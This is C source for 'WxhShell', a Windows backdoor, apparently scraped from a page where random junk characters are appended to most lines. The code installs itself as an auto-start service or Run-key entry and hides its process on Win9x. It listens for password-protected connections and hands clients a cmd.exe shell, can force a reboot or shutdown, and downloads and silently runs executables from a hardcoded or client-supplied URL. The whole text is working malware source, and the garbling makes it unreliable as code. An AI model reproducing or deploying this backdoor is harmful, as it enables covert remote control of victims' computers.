    closesocket(wsh); [fp"MPP3  
    ExitThread(0); blcKtrYg  
    } vgj^-  
    break; lQBM0|n  
    } Gq*)]X{U a  
  // 获取shell E0Q"qEvU  
  case 's': { R(sM(x5a`  
    CmdShell(wsh); 0?SLRz8  
    closesocket(wsh); Jdn*?hc+  
    ExitThread(0); d 4]%Wdvf  
    break; BuTIJb+Q\  
  } H |UL5<:]D  
  // 退出 %z~U@Mka  
  case 'x': { ^d80\PXz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #ja`+w}  
    CloseIt(wsh); P0xLx  
    break; !dY:S';~  
    } SbZt\a 8  
  // 离开 u4@e=vW I  
  case 'q': { 6>:~?gs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d|]O<]CG_  
    closesocket(wsh); Hc]1mM  
    WSACleanup(); rf->mk{  
    exit(1); f_ztnRw  
    break; (0W}e(D8  
        } jJZsBOW[8  
  } 8%<`$`FyU  
  } 8/"|VE DOr  
7 Zt\G-QV  
  // 提示信息 gvNZrp>e!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -j_I_  
} :(>9u.>l?5  
  } -l H>8+  
mE`qvavP|/  
  return; >&QH{!(  
} Rt^<xXX$  
p{q!jm~Nq  
// shell模块句柄 *ldMr{s<R  
int CmdShell(SOCKET sock) U5!f++  
{ W@,p9=425  
STARTUPINFO si; KC:4  
ZeroMemory(&si,sizeof(si));  YX`=M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Ca)RgM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lt6;*z[  
PROCESS_INFORMATION ProcessInfo; `uh@iD'KI  
char cmdline[]="cmd"; [!@oRK=~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :z.Y$]F@  
  return 0; *xg`Kwl5Kl  
} 9xn23*Fo  
ceZ8} Sh  
// 自身启动模式 K3:|Tc(  
int StartFromService(void) ^}Qj}  
{ 4iNbK~5j  
typedef struct 99 "[b  
{ hNnX-^J<o  
  DWORD ExitStatus; pP* ~ =?  
  DWORD PebBaseAddress; +}QBzGW`  
  DWORD AffinityMask; PCPf*G>  
  DWORD BasePriority; rLh9`0|D  
  ULONG UniqueProcessId; VS|( "**  
  ULONG InheritedFromUniqueProcessId; g'ZMV6b?K  
}   PROCESS_BASIC_INFORMATION; UIOEkQ\Wl  
Z.':&7Y  
PROCNTQSIP NtQueryInformationProcess; ggI=I<7M  
s)YP%vn#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zLQ#GF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RO{@RhnV  
j- YJ."  
  HANDLE             hProcess; a4( ?]ND~6  
  PROCESS_BASIC_INFORMATION pbi; rS )b1nPA  
F`0c?)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ge):<k_  
  if(NULL == hInst ) return 0; =+`j?1  
eh:}X}c=J]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4r[pMJiq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -, Q$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b"nG-0JR  
0<@KDlF  
  if (!NtQueryInformationProcess) return 0; dA1 C)gLi  
dHG  Io  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8b:clvh  
  if(!hProcess) return 0; {(Og/[  
L; q)8Pb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :%#r.p"6x  
:vK(LU0K  
  CloseHandle(hProcess); NdsX*o@a  
a1G9wC:e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *i?rJH  
if(hProcess==NULL) return 0; |vfujzRZ  
+z|UpI  
HMODULE hMod; jefNiEE[  
char procName[255]; r|^lt7\  
unsigned long cbNeeded; 8nIMZV  
^+.t-3|U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OyJsz]b} M  
 .3a:n\tY  
  CloseHandle(hProcess); .6#cDrK  
],\sRQbv&  
if(strstr(procName,"services")) return 1; // 以服务启动 IAP/G5'Q  
C[xJU6z  
  return 0; // 注册表启动 1t~FW-:  
} Y  .  
{b'}:aMc  
// 主模块 hG3m7ht  
int StartWxhshell(LPSTR lpCmdLine) A{z>D`d  
{ 3+(yI 4  
  SOCKET wsl; _k_>aG23  
BOOL val=TRUE; xN`r4  
  int port=0; aGB0-;.t7  
  struct sockaddr_in door; JFRpsv  
=Y &9 qt  
  if(wscfg.ws_autoins) Install(); ?aFr8i:)M  
BFMS*t`  
port=atoi(lpCmdLine); LBmM{Gu  
cX %:  
if(port<=0) port=wscfg.ws_port; (@)2PO /  
cgs3qI  
  WSADATA data; -,QKTxwo>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e^k!vk-SLF  
;Y'8:ncDn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6| *(dE2x(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7q%|4Z-~  
  door.sin_family = AF_INET; ^^7L"je]g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); euV$2Fg  
  door.sin_port = htons(port); EqD^/(,L2  
j?:`-\w5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4llD6&%  
closesocket(wsl); Aq V09 $  
return 1; sULIrYRA  
} ;OOj[%.  
+`;+RDKY*  
  if(listen(wsl,2) == INVALID_SOCKET) { 0 kf(g156  
closesocket(wsl); Hp btj  
return 1; C-llq`(d  
} 7hB#x]oQo  
  Wxhshell(wsl); 59{;VY81  
  WSACleanup(); >u=%Lz"J  
-7>^ rR V  
return 0; `"a? a5]k  
8P,l>HA  
} |DN^NhtE  
K;oV"KRK  
// 以NT服务方式启动 o]Z _@VI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hf VHI1f  
{ t< sp%zXZ  
DWORD   status = 0; w&p~0cA~  
  DWORD   specificError = 0xfffffff; _*s~`jn{H  
P+Wm9xR2d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UT3bd,,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \un sh^M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UTZ776`S&X  
  serviceStatus.dwWin32ExitCode     = 0; `6&`wKz  
  serviceStatus.dwServiceSpecificExitCode = 0; +7V=aNRlE  
  serviceStatus.dwCheckPoint       = 0; GI4?|@%vD!  
  serviceStatus.dwWaitHint       = 0; <57g{e0I  
vqq6B/r@Fu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y [W6Sc  
  if (hServiceStatusHandle==0) return; \UQ9MX _  
>n]oB~P%  
status = GetLastError(); A-Mj|V  
  if (status!=NO_ERROR) HHz;0V4w?  
{ r"R(}`<,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]>5T}h  
    serviceStatus.dwCheckPoint       = 0; {!L=u/qs"  
    serviceStatus.dwWaitHint       = 0; vR7ctav  
    serviceStatus.dwWin32ExitCode     = status; xEjx]w/&  
    serviceStatus.dwServiceSpecificExitCode = specificError; U+-F*$PO+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pp ,Um(  
    return; R]Hz8 _X  
  } yahAD.Xuo@  
R.K?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tKwn~T  
  serviceStatus.dwCheckPoint       = 0; J*5hf:?i  
  serviceStatus.dwWaitHint       = 0; 14mf}"z\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >K\3*]>J3  
} Nepi|{  
BU`ckK\(  
// 处理NT服务事件,比如:启动、停止 )X/*($SuA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vX ?aB!nkw  
{ wHf&R3fg  
switch(fdwControl) S+r^B?a<oM  
{ 0!pJ5q ,A  
case SERVICE_CONTROL_STOP: wfE^Sb3  
  serviceStatus.dwWin32ExitCode = 0; 7%e1cI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nE_Cuc>K\  
  serviceStatus.dwCheckPoint   = 0; yq?]V7~  
  serviceStatus.dwWaitHint     = 0; kd yAl,  
  { FC{})|yh }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a0PE^U  
  } ` M:DZNy,  
  return; 42&v % ;R  
case SERVICE_CONTROL_PAUSE: <Z},A-\S*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J,??x0GDx,  
  break; wTxbDT@H5  
case SERVICE_CONTROL_CONTINUE: yO00I`5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "?35C !  
  break; x>v-m*4Z4@  
case SERVICE_CONTROL_INTERROGATE: S_6g~PHsr  
  break; oB p3JX9_f  
}; ["u#{>(X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O$^xkv5.  
} OZf6/10O/  
Zae.MO^C!  
// 标准应用程序主函数 k0JW[04j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S<"oUdkz  
{ %)?`{O~ h  
zVw:7-  
// 获取操作系统版本 Or7 mD  
OsIsNt=GetOsVer(); &=X.*H%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |jsb@  
SrFx_n  
  // 从命令行安装 |d[5l^6  
  if(strpbrk(lpCmdLine,"iI")) Install(); dN< , %}R  
$E\^v^LW  
  // 下载执行文件 w9MoT.kI}  
if(wscfg.ws_downexe) { M 7rIi\4K4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \8e2?(@"k  
  WinExec(wscfg.ws_filenam,SW_HIDE); L_~8"I_  
} +1QK}H ~  
;r.EC}>m  
if(!OsIsNt) { R:M,tL-l  
// 如果时win9x,隐藏进程并且设置为注册表启动 TkRmV6'w  
HideProc(); <`)iA-Df;9  
StartWxhshell(lpCmdLine); {L].T#  
} BgM%+b8u  
else -}P7$|O &  
  if(StartFromService()) &n:{x}Uc  
  // 以服务方式启动 3@_Elu  
  StartServiceCtrlDispatcher(DispatchTable); zyFUl%  
else L0L2Ns  
  // 普通方式启动 M/pMs 6  
  StartWxhshell(lpCmdLine); a7#?h%wf  
eklgLU-+fW  
return 0; ]n;1x1'  
} &l m#  
QTH7grB2v  
|0g{"}%  
2}vNSQvG  
=========================================== d$G}iJ8$mp  
I-DXb M  
8PBvV[  
Z+4D.bA  
?T!)X)A#  
yz8jU*H  
" $,ikv?"L  
Z.1> kZ  
#include <stdio.h> 6@V~0DG  
#include <string.h> v7,$7@$:\  
#include <windows.h> 6~xBi(m`  
#include <winsock2.h> MjD75hIZ  
#include <winsvc.h> l$XPIC~H  
#include <urlmon.h> Rko M~`CT  
.UQE{.?  
#pragma comment (lib, "Ws2_32.lib") 2' ] KTHm  
#pragma comment (lib, "urlmon.lib") <CZgQ\Mt  
, jU5|2  
#define MAX_USER   100 // 最大客户端连接数 $!B}$I;cd  
#define BUF_SOCK   200 // sock buffer 6;iJ*2f5V  
#define KEY_BUFF   255 // 输入 buffer `XKVr  
x#*QfE/E(@  
#define REBOOT     0   // 重启 iOCqE 5d3  
#define SHUTDOWN   1   // 关机 9t$]X>}  
%%JMb=!%2  
#define DEF_PORT   5000 // 监听端口 R#W&ery  
~Lz%.a;o  
#define REG_LEN     16   // 注册表键长度 /?*]lH.  
#define SVC_LEN     80   // NT服务名长度 $n!K6fkX%  
cBXWfv4  
// 从dll定义API G8J*Wnwu[K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [0y$! f4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E\U`2{^.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); />44]A<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,|h)bg7.  
2VGg 6%  
// wxhshell配置信息 U*)m' ,  
struct WSCFG { \r {W  
  int ws_port;         // 监听端口 _S`o1^Ad  
  char ws_passstr[REG_LEN]; // 口令 CU)|-*uiK  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3\:y8|  
  char ws_regname[REG_LEN]; // 注册表键名 'hqBo|  
  char ws_svcname[REG_LEN]; // 服务名 ,xfO;yd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B*3Y !!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !mMpb/&&S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IzLQhDJ1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X3%Ic`Lq#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ul+Mo&y-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6"f}O<M 5H  
5d\q-d  
}; aZ|=(]  
5ZY<JA3  
// default Wxhshell configuration ye}p~&  
struct WSCFG wscfg={DEF_PORT, >e,mg8u6$  
    "xuhuanlingzhe", Zd:Taieh@  
    1, 0#*Lw }qi  
    "Wxhshell", c>"cX&  
    "Wxhshell", UVQ7L9%?f  
            "WxhShell Service", '#/G,%m<!i  
    "Wrsky Windows CmdShell Service", kgi>} %  
    "Please Input Your Password: ", [U/(<?F{(  
  1,  ._O  
  "http://www.wrsky.com/wxhshell.exe", ACq7dLys,B  
  "Wxhshell.exe" p< "3&HA  
    }; L+}n@B  
Iw<i@=V  
// 消息定义模块 tptN6Isuh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OTDg5:>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H1n1-!%d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NMOut@  
char *msg_ws_ext="\n\rExit."; JM- t<.  
char *msg_ws_end="\n\rQuit."; \>QF(J [8  
char *msg_ws_boot="\n\rReboot..."; c%m3}mrb  
char *msg_ws_poff="\n\rShutdown..."; U.!lTLjfLz  
char *msg_ws_down="\n\rSave to "; }a AH  
f"1>bW>R+  
char *msg_ws_err="\n\rErr!"; kn"(mJe$  
char *msg_ws_ok="\n\rOK!"; )Gw~XtB2  
mtz#}qD66  
char ExeFile[MAX_PATH]; PjA6Ji;Hu  
int nUser = 0; *^%Q0mU[  
HANDLE handles[MAX_USER]; I/gjenUK  
int OsIsNt;  -!W<DJ*  
9}a_:hAy/  
SERVICE_STATUS       serviceStatus; O3DmNq$dz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a2Pf/D]n  
,JU@|`  
// 函数声明 OyV<u@[i  
int Install(void); L@`ouQ"sa  
int Uninstall(void); ~w8JH2O  
int DownloadFile(char *sURL, SOCKET wsh); sm[94,26  
int Boot(int flag); 'R`tLN  
void HideProc(void); z4M9M7)"  
int GetOsVer(void); ?;/^Ya1;Z  
int Wxhshell(SOCKET wsl); $Iv2j">3)  
void TalkWithClient(void *cs); evkH05+;W  
int CmdShell(SOCKET sock); Tou/5?# %e  
int StartFromService(void); ]$b[` g&  
int StartWxhshell(LPSTR lpCmdLine); l7#yZ*<v  
6`vC1PK^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M" ^PW,k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ./Q,  
ib{-A&  
// 数据结构和表定义 N_:qRpp6i  
SERVICE_TABLE_ENTRY DispatchTable[] = _=CZR7:O  
{ !aO` AC=5u  
{wscfg.ws_svcname, NTServiceMain}, [(1c<b2r  
{NULL, NULL} 9z)5Mdf1j  
}; w?kJ+lmOQy  
U!U$x74D5  
// 自我安装 sBrI}[oyx  
int Install(void) {ZY+L;eg1  
{ ZaNQpH.  
  char svExeFile[MAX_PATH]; U- )i+}Ng  
  HKEY key; J{^RkGF  
  strcpy(svExeFile,ExeFile); Y%`xDI  
b[V^86X^  
// 如果是win9x系统,修改注册表设为自启动 A\8}|r(>9E  
if(!OsIsNt) { s(X;Eha  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P(F+f `T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |$5[(6T|  
  RegCloseKey(key); #9K-7je;j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ME'|saP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _6 ay-u  
  RegCloseKey(key); RV@*c4KvO+  
  return 0; 6G=j6gK%P  
    } M1KqY:9E  
  } -D6exTxh"  
} ZXm/A0)S  
else { 4:gRr   
}.s~T#v  
// 如果是NT以上系统,安装为系统服务 M|:UwqV>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gz3pX#S  
if (schSCManager!=0) {nLjY|*  
{ Qxj JN^Q  
  SC_HANDLE schService = CreateService M(/r%-D  
  ( [jmd  
  schSCManager, !.d@L6  
  wscfg.ws_svcname, 9k{PBAP  
  wscfg.ws_svcdisp, 2RSt)3!},  
  SERVICE_ALL_ACCESS, -[-wkC8a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RjN{%YkXe  
  SERVICE_AUTO_START, rtc9wu  
  SERVICE_ERROR_NORMAL, l\C.",CEcc  
  svExeFile, g)-bW+]q  
  NULL, _3ZYtmn.  
  NULL, >$4d7.^hb/  
  NULL, !"Oh3 6  
  NULL, cTG|fdgMW  
  NULL IIbYfPiO  
  ); h<$MyN4]g  
  if (schService!=0) i[ mEi|  
  { }sxYxn~  
  CloseServiceHandle(schService); thhwN A  
  CloseServiceHandle(schSCManager); Dc,I7F|%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'q`^3&E  
  strcat(svExeFile,wscfg.ws_svcname); cFJY^A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E~6c-Lw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vh$%9ed  
  RegCloseKey(key); %f]:I  
  return 0; Dd\jHF>u  
    } R rda# h^  
  } rW=Z>1  
  CloseServiceHandle(schSCManager); I"GB <oB  
} EVGt 5z  
} #"B\UN  
^jx7@LgS=  
return 1; O&Y*pOg  
} Ftr5k^!  
')$+G152  
// 自我卸载 4q k9NK2 U  
int Uninstall(void) ml+; Rmvb  
{ % yw?s0  
  HKEY key;  a24"yT  
o7$'cn  
if(!OsIsNt) { !4X f~P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I"ok&^t^}  
  RegDeleteValue(key,wscfg.ws_regname); f.9SB  
  RegCloseKey(key); p9x(D/YP0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5rU[ T ir  
  RegDeleteValue(key,wscfg.ws_regname); :>C2gS@  
  RegCloseKey(key); 0.@&_XTPl  
  return 0; "/wyZ  
  } e7sp =I ,  
} <P=twT;P  
} ;'cN<x)% |  
else { VcXq?f>\  
()6wvu}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 32`{7a3!=  
if (schSCManager!=0) V)[@98T_4?  
{ 6 |PrX L&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eLfk\kk]Pc  
  if (schService!=0) 7Mg=b%IYs  
  { ci?qT,&  
  if(DeleteService(schService)!=0) { 0|{u{w@!`  
  CloseServiceHandle(schService);  @fl-3q  
  CloseServiceHandle(schSCManager); ]d! UJ&<?  
  return 0; qm"rY\:  
  } Q|#W#LV,K  
  CloseServiceHandle(schService); ,Vt/(x-  
  } 1ng!G 7g  
  CloseServiceHandle(schSCManager); ?j"KV_  
} vzim<;i  
} E2Q[ZoVS  
!1$])VQWI  
return 1; 4b98Ks Yg  
} )p<ExMIxd  
~?K~L~f5  
// 从指定url下载文件 0.8  2kl  
int DownloadFile(char *sURL, SOCKET wsh) }&w Ur>=  
{ &E.^jR~*  
  HRESULT hr; ewctkI$,5  
char seps[]= "/"; +JjW_Rl?=V  
char *token; n[lJLm^(_C  
char *file; x-^`~ p  
char myURL[MAX_PATH]; z=q3Zo  
char myFILE[MAX_PATH]; iO|se:LY<  
i OW#>66d  
strcpy(myURL,sURL); Ab{ K<:l  
  token=strtok(myURL,seps); 9_Be0xgJ3^  
  while(token!=NULL) 2AT5  
  { H|3:6x  
    file=token; Uq^#riq  
  token=strtok(NULL,seps); 2N: ,Q8~  
  } [YlKR'_  
[XEkz#{  
GetCurrentDirectory(MAX_PATH,myFILE); onz?_SAW  
strcat(myFILE, "\\"); sn obT Q  
strcat(myFILE, file); `4=^cyt+  
  send(wsh,myFILE,strlen(myFILE),0); n*[XR`r}  
send(wsh,"...",3,0); ;:\<gVi:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <G|(|E1  
  if(hr==S_OK) fF7bBE)L/|  
return 0; u{['<r;I  
else RI(DXWM|h  
return 1; 9]f!'d!5  
tX_R_]v3  
} 0i!uUF  
D1zBsi94D  
// 系统电源模块 |}BL F  
int Boot(int flag) \Q0[?k  
{ 2mVD_ s[`  
  HANDLE hToken; |H;F7Y_  
  TOKEN_PRIVILEGES tkp; Qz5sxi  
ZX9TYN  
  if(OsIsNt) { pwL ;A3$|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); < $J>9k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 49GkPy#]L=  
    tkp.PrivilegeCount = 1; .F   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{@A5A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RP[{4 Q8  
if(flag==REBOOT) { le/,R@]B9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,(qRc(Ho  
  return 0; ^o3"#r{:+  
} RJ  8+h  
else { j*so9M6|c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I*{4rDt  
  return 0; + jc!5i .  
} Q=;U@k@>  
  } &"f";  
  else { V58wU:li  
if(flag==REBOOT) { JTO~9>$ B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) de.&`lPRf  
  return 0; Dz>^IMsY  
} %b&". mN  
else { p>RNPrT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ta ?_5  
  return 0; }vxw*8d?  
} UO0{):w>  
} iU$] {c2;A  
{.?ZHy\Rk  
return 1; LClNxm2X  
} cv998*|X:  
Ktb\ bw  
// win9x进程隐藏模块 xST8|H  
void HideProc(void) 5D\f8L  
{ ?pr9f5  
IUE~_7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K1mPr^3rC  
  if ( hKernel != NULL ) *"?l]d  
  { K28+]qy[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ALrw\qV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qLn/2  
    FreeLibrary(hKernel); +T|JK7  
  } [ey:e6,T9  
|'P]GK  
return; `Nz/O h7  
} 4r>6G/b8*  
8ja$g,  
// 获取操作系统版本 @mOH"acGn?  
int GetOsVer(void) k;K)xb[w|  
{ "+kL )]  
  OSVERSIONINFO winfo; fkuLj%R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ii[F]sR\  
  GetVersionEx(&winfo); qkt0**\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h1B? 8pD  
  return 1; qaiNz S@q  
  else &+Z,hs9%  
  return 0; !\zWF  
} ?5C!<3gM)  
LPZF)@|`  
// 客户端句柄模块 V=R 3)GC  
int Wxhshell(SOCKET wsl) P\yDa*m  
{ +o\:d1y  
  SOCKET wsh; ah+~y,Gl  
  struct sockaddr_in client; [B+yyBtx  
  DWORD myID; JJP08 oP  
S>h;K`  
  while(nUser<MAX_USER) 15%w 8u  
{ 'n{Nvt.c  
  int nSize=sizeof(client); +c(zo4nZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^T*?>%`  
  if(wsh==INVALID_SOCKET) return 1; !nqUBa  
ykl .1(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rSZd!OQ  
if(handles[nUser]==0) Eo{"9j\  
  closesocket(wsh); 3.|S  
else .<jr0,i  
  nUser++; YPU*@l>  
  } }#L^!\V }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *@Lp`thq  
p`b"-[93  
  return 0; d74d/l1*{  
} 2)G %)'  
-e_hrCW&9  
// 关闭 socket j/R[<47  
void CloseIt(SOCKET wsh) KC/=TSSXd.  
{ -m)X]]~C  
closesocket(wsh); pOGeru u?  
nUser--; v=0(~<7B  
ExitThread(0); GR&z,  
} .:@Ykdm4I  
.X@FXx&  
// 客户端请求句柄 )Ub_@)X3%l  
void TalkWithClient(void *cs) kh {p%<r{  
{ 4]yOF_8h  
DnC{YK  
  SOCKET wsh=(SOCKET)cs; E)TN,@%  
  char pwd[SVC_LEN]; 9KDEM gCW  
  char cmd[KEY_BUFF]; Lx\ 8Z=  
char chr[1]; i*|\KM?P  
int i,j; Z'4./  
Wi*.TWz3  
  while (nUser < MAX_USER) { A#Iyb){Y  
[BWNRC1  
if(wscfg.ws_passstr) { Cbg!:Cws  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FKIw!m ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f-bVKHt  
  //ZeroMemory(pwd,KEY_BUFF); 5* j?E  
      i=0; /I1h2 E  
  while(i<SVC_LEN) { 0rOfrTNOz%  
Y'1S`.  
  // 设置超时 gbI^2=YT'  
  fd_set FdRead; XlV0*}S  
  struct timeval TimeOut; U7K,AflK?M  
  FD_ZERO(&FdRead); hWM< 0=  
  FD_SET(wsh,&FdRead); mtJ9nC  
  TimeOut.tv_sec=8; '?!zG{x  
  TimeOut.tv_usec=0; ~k!j+>yT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !ipR$ dM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \?Z{hmN  
Q3 u8bx|E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !j:9`XD|  
  pwd=chr[0]; ,I7E[LU  
  if(chr[0]==0xd || chr[0]==0xa) { 0O9Ni='Tn  
  pwd=0; >OL3H$F  
  break; c#|raXGT  
  } nH`Q#ZFz]?  
  i++; {t0) q  
    } q|j2MV5#g  
(a[y1{DLy  
  // 如果是非法用户,关闭 socket _kj wFq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ur3(HL  
} S4'   
T;L>;E>B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !zkZQ2{Wn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u -;_y='m  
eIz<)-7:  
while(1) { wj,:"ESb4  
@CTgT-0!  
  ZeroMemory(cmd,KEY_BUFF); Yn@lr6s  
wCr(D>iM  
      // 自动支持客户端 telnet标准   fuWO*  
  j=0; W yB3ls~  
  while(j<KEY_BUFF) { S#MZV@nGF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PMN jn9d  
  cmd[j]=chr[0]; )CuZDf@  
  if(chr[0]==0xa || chr[0]==0xd) { ]!I7Y.w6  
  cmd[j]=0; $* AYcy7  
  break; o$#G0}yn  
  } P,xKZ{(  
  j++; +_; l|uhT;  
    } 8.XoVW#  
X.Rb-@  
  // 下载文件 `}(b2Hc>  
  if(strstr(cmd,"http://")) { Jz7!4mu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e8pG"`wM8  
  if(DownloadFile(cmd,wsh)) i>D.!x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qyF{f8pzq  
  else luo   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^No)n\`  
  } ?\t#1"d  
  else { *A"~m !=  
{U1?Et#  
    switch(cmd[0]) { Oy%''+g   
  M-1ngI0H;  
  // 帮助 fz\9 S  
